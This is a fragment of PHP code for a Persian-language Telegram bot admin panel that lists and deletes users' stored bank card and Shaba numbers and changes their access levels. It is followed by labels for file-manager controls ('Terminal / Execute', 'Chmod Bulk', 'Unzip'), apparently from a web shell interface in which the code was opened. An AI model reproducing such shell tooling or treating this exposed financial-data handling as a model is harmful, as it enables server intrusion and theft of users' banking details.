نشده*\n\nاین کاربر هنوز هیچ کارتی ثبت نکرده است."; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->editMessage($from_id, $response_text, $message_id, $back_keyboard); die; } $user = selectUser($user_id); $response_text = "💳 *لیست کارتهای ثبت شده*\n\n"; $response_text .= "👤 *کاربر*: " . $user->full_name . "\n"; $response_text .= "🆔 *شناسه کاربر*: `$user_id`\n\n"; $response_text .= "📋 *کارتهای ثبت شده:*\n\n"; foreach ($cards as $index => $card) { $card_formatted = $card->number; $response_text .= "🔹 *کارت " . ($index + 1) . "*:\n"; $response_text .= " 💳 شماره کارت: `$card_formatted`\n"; $response_text .= " 📝 شماره شبا: `" . $card->shaba . "`\n\n"; } $response_text .= "📊 *تعداد کل کارتها:* " . count($cards) . " عدد"; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->editMessage($from_id, $response_text, $message_id, $back_keyboard); die; } if (strpos($data, 'admin_delete_card-') !== false) { $user_id = explode('-', $data)[1]; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال دریافت اطلاعات...', false); } $bot->editMessage($from_id, "⏳ *در حال دریافت لیست کارتها...*", $message_id); $query = "SELECT * FROM `cards` WHERE `chat_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$user_id]); $cards = $stmt->fetchAll(); if (count($cards) == 0) { $response_text = "❌ *کارتی ثبت نشده*\n\nاین کاربر هیچ کارتی برای حذف ندارد."; $back_keyboard = getBackToSearchKeyboard($user_id); $bot->editMessage($from_id, $response_text, $message_id, $back_keyboard); die; } $keyboard_buttons = []; foreach ($cards as $index => $card) { $keyboard_buttons[] = [['text' => '🗑️ حذف: ' . $card->number, 'callback_data' => 'admin_confirm_delete_card-' . $card->number . '-' . $user_id . '-' . $message_id]]; } $keyboard_buttons[] = [['text' => '🔙 بازگشت به جستجو', 'callback_data' => 'back_to_search-' . $user_id]]; $delete_keyboard = json_encode(['inline_keyboard' => $keyboard_buttons]); $user = selectUser($user_id); $response_text = "❌ *حذف شماره کارت*\n\n"; $response_text .= "👤 *کاربر*: " . $user->full_name . "\n"; $response_text .= "🆔 *شناسه کاربر*: `$user_id`\n\n"; $response_text .= "📋 *لطفاً کارت مورد نظر را برای حذف انتخاب کنید:*\n\n"; $response_text .= "⚠️ *توجه:* پس از حذف، امکان استفاده از این کارت وجود نخواهد داشت."; $bot->editMessage($from_id, $response_text, $message_id, $delete_keyboard); die; } if (strpos($data, 'admin_confirm_delete_card-') !== false) { $parts = explode('-', $data); $card_number = $parts[1]; $user_id = $parts[2]; $saved_message_id = isset($parts[3]) ? $parts[3] : null; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال حذف...', false); } $bot->editMessage($from_id, "⏳ *در حال حذف کارت...*", $message_id); $query = "SELECT * FROM `cards` WHERE `number` = ? AND `chat_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$card_number, $user_id]); $card = $stmt->fetch(); if (!$card) { $bot->editMessage($from_id, "❌ *خطا*\n\nکارت مورد نظر یافت نشد یا متعلق به این کاربر نیست.", $message_id); die; } $query = "DELETE FROM `cards` WHERE `number` = ? AND `chat_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$card_number, $user_id]); $detail_text = "✅ *کارت با موفقیت حذف شد*\n\n"; $detail_text .= "👤 *شناسه کاربر*: `$user_id`\n"; $detail_text .= "💳 *شماره کارت حذف شده*: `$card_number`\n"; $detail_text .= "📅 *تاریخ و زمان*: " . jdate("Y/m/d - H:i:s", time(), tr_num: 'en'); $back_keyboard = getBackToSearchKeyboard($user_id); $bot->sendMessage($from_id, $detail_text, $back_keyboard); if ($saved_message_id) { $user = selectUser($user_id); $response_text = getUserInfoText($user, $db); $keyboard = getUserAdminKeyboard($user_id); $bot->editMessage($from_id, $response_text, $saved_message_id, $keyboard); } die; } if (strpos($data, 'back_to_search-') !== false) { $user_id = explode('-', $data)[1]; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال بارگذاری اطلاعات...', false); } $user = selectUser($user_id); if ($user) { $response_text = getUserInfoText($user, $db); $keyboard = getUserAdminKeyboard($user_id); $bot->editMessage($from_id, $response_text, $message_id, $keyboard); } else { $bot->editMessage($from_id, "❌ *کاربری یافت نشد.*", $message_id); } die; } if (strpos($data, 'upgrade_level-') !== false) { $user_id = explode('-', $data)[1]; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, '⏳ در حال بارگذاری سطوح...', false); } $keyboard = json_encode([ 'inline_keyboard' => [ [ ['text' => 'سطح 1', 'callback_data' => 'set_level-1-' . $user_id], ['text' => 'سطح 2', 'callback_data' => 'set_level-2-' . $user_id] ], [ ['text' => 'سطح 3', 'callback_data' => 'set_level-3-' . $user_id], ['text' => 'سطح 4', 'callback_data' => 'set_level-4-' . $user_id] ], [['text' => '🔙 بازگشت', 'callback_data' => 'back_to_search-' . $user_id]] ] ]); $bot->editMessage($from_id, "🔢 لطفاً سطح جدید کاربر را انتخاب کنید:", $message_id, $keyboard); die; } if (strpos($data, 'set_level-') !== false) { $parts = explode('-', $data); $new_level = $parts[1]; $user_id = $parts[2]; if (isset($query_id)) { $bot->answerCallbackQuery($query_id, "✅ سطح کاربر به $new_level تغییر یافت.", false); } $query = "UPDATE `users` SET `auth_level` = ? WHERE `chat_id` = ?"; $stmt = $db->prepare($query); $stmt->execute([$new_level, $user_id]); // Refresh user info $user = selectUser($user_id); $response_text = getUserInfoText($user, $db); $keyboard = getUserAdminKeyboard($user_id); $bot->editMessage($from_id, $response_text, $message_id, $keyboard); die; }
Simpan
Batal
Isi Zip:
Unzip
Create
Buat Folder
Buat File
Terminal / Execute
Run
Chmod Bulk
All File
All Folder
All File dan Folder
Apply